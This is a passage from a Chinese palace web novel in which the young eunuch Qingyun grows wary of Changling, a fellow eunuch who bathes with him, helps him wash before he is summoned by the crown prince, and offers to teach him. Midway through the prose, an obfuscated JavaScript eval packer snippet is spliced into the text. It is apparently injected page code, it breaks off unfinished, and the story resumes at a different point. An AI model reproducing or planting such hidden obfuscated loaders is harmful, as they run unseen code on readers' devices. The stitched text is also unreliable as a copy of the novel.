除了自个儿,卿云也只见过两个人的裸体,一是长龄,二是太子,两人都跟他不一样,太子自不必说了,长龄虽是太监,却比他强健许多,二人不可言说之处也不尽相同。 长龄是受了阉割的,下头干干净净,只留下个大疤,让卿云觉着有种异样的恐怖,那地方原是该有的,便那么生生斩断了,卿云初次瞧见时只觉比他那副幼童般的袖珍器具还要可怖许多。 舍了这一套,便就不再是男人,长龄身上和他一样,瞧着光溜溜的,一点毛发也无,白白净净,只身上肉比他看着略有些起伏,许是平素进进出出忙碌的缘故,胳膊胸膛动起来还是有形状的,不像卿云,一眼望到底,上下都软面团似的。 卿云原也有些羡慕嫉妒长龄,倒未曾多想,只今日猛然从那套笔墨纸砚当中发散出去,想起长龄平日里待他的处处情景,心中不禁发毛。 莫说卿云已经从福海身上见识过,便是惠妃也常恐吓他,说些前朝往事,尤其是太监受折磨的,说得绘声绘色,卿云幼时躲不了,只能被惠妃逼在墙角,捂着耳朵边挨惠妃的打边胆战心惊地咬牙听着。 长龄浑然不知卿云的念头,进入浴桶后还自顾自地与卿云谈笑,“把东西收起来了,不是叫你试试么?” 卿云心中惊惧,面上也只笑着,“络子还没打好,不敢试长龄公公你送的好东西。” 长龄道:“怎么突然又生分起来?” 卿云道:“得了好东西,可不得恭维些吗?” 长龄笑了笑,拧了湿帕子往身上淋,卿云心惊肉跳,不敢看他,下了床道:“我出去办点事。” 卿云一气跑了出去,心慌得要命,横冲直撞只管往前,待到僻静处才停了下来,人靠在墙壁上发抖,脸上一阵红一阵白,想去太子那求告,心中又深觉无望,又不能像对付福海一般把人杀了,又想到安公公,只这也实在不是什么好人,即便成事,怕也是会过河拆桥卸磨杀驴,一时之间竟生出几分绝望心思。 夏日日头毒辣地洒在脸上,卿云面上神情渐渐冷了下来,出玉荷宫前,他便做好了种种打算,此番情形难道一点都未曾预料吗?既早有预料,又何必疾风骤雨般地如此矫情,不过一身臭皮囊,怎么就金贵起来了? 卿云一想便通,只是胸口梗着口气,心里还是怨恨,恨得牙痒,在日头底下立出了一身汗,这才摇摇晃晃地回去。 方才到屋口,长龄便迎了出去,“你去哪了?太子派人来找你了。” 卿云心下着急,忙道:“我立即过去。” “等等——” 长龄拉住了卿云的腕子,“你身上全是汗,过去惹太子不快吗?也来不及了,就这些水,随便擦擦吧。” 卿云手上微微一颤,长龄已上来解了他的腰带。 卿云目光从睫毛下放出,长龄神色紧张,全无狎昵,“别愣着,”长龄抬眼,“快些,别让太子等急了。” 卿云脱了衣裳,长龄递了帕子给他,自己也拧了帕子帮他擦去身上汗液,“我推说让你去帮我去膳房取东西去了,别说漏了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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长龄低眉一笑,神情中闪过一丝萧瑟,没接卿云的话,只道:“你如今也认了不少字,也该有个打算,旁的不提,论语是必要学的,不说学透,便是学个皮毛,也够明白事理,受用不尽了,你一向聪敏灵巧,假以时日,必定学有所成。” 长龄一番话娓娓道来,不骄矜自傲,反是字字恳切地替卿云打算,卿云听得怔住,他手不自禁地压在桌上,“你要教我?” 长龄笑了笑,“太子事忙,我也算不得教你,只是同你一起也学着罢了。” 卿云心中纷乱,他瞧着长龄的模样百般真挚,竟是瞧不出一点奸意,卿云不觉喜悦,心中反倒慌了起来,他收回手,人后退了半步,眼睫上下翻了两回,他轻声道:“你为何待我这样好?” 长龄似早有预料卿云会有此一问,温和道:“太子把你交给我,你我同在太子跟前当差,又同居一处,我自然要好好待你,教会了你,太子便会高兴,太子高兴,对你我自然都有无尽的好处。” 卿云扯了唇角,笑盈盈道:“说得有理,那我便先谢过了。” 长龄道:“我去打水,你瞧瞧有什么不认得的字,我回来再教你。” 待长龄离去,卿云立即变了脸色,三两步走到床边,从枕头底下抽出那打了一半的络子,抄起剪子便将那络子剪了个稀巴烂。